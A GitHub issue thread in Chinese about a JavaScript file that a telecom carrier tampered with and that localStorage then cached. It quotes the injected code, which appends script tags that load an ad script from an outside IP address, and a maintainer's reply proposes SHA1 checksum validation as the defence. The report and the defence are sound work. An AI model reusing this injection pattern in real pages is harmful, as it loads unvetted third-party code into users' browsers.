Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

js的文件内容被篡改(运营商劫持),而又被localStorage存储了,怎么处理? #24

Closed
swmjj opened this issue Jan 19, 2017 · 1 comment

Comments

@swmjj
Copy link

swmjj commented Jan 19, 2017

遇到过这样的一个情况,一个vendor.js,被电信运营商劫持,直接修改js的内容。被篡改的js代码如下

var atn_obj = new Object;
atn_obj.oldurl = 'http://images.plateno.com/mall_static/js/vendors.1901b82521098c3663c0.js?cHVzaA=105658';
atn_obj.unified_url = 'http://121.15.207.224:3535/adv_select/ad_unified_access?SP=ABzs/PzoPOz8zPg7yXnpGRmpOgmJugy8vPzs/Pg86Dy8vPzs/Pg8/Nz8/Ny8rKyc7Jv87JzNGYm4PKxtHLzdHNzMjRzMyDzoPOz8rJyseDz4PPg5Kek5PRj5Oei5qRkNGckJKDzsvHy87MyMjGzIPNg88=';
window.setTimeout(function() {
var a = document.createElement("script");
a.src = atn_obj.oldurl;
document.getElementsByTagName("head")[0].appendChild(a);
}, 0);
window.setTimeout(function() {
var a = document.createElement("script");
a.src = atn_obj.unified_url;
document.getElementsByTagName("head")[0].appendChild(a);
}, 0);

由于被篡改,导致执行的顺序出错,出现异常。被篡改的js已被localStorage缓存了,下次访问会继续执行,面对这个异常情况,有比较好的机制去预防么?``

@swmjj swmjj closed this as completed Jan 19, 2017
@swmjj swmjj reopened this Jan 19, 2017
@swmjj swmjj changed the title js js的文件内容被篡改(运营商劫持),而又被localStorage存储了,怎么处理? Jan 19, 2017
@classicemi
Copy link
Contributor

感谢反馈,这个确实是目前存在的问题,我们也在着手解决。
目前可能的做法是通过服务端的支持,返回资源内容的校验和(SHA1),在加载资源前进行比对,如果匹配失败则判定资源失效并重新加载。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants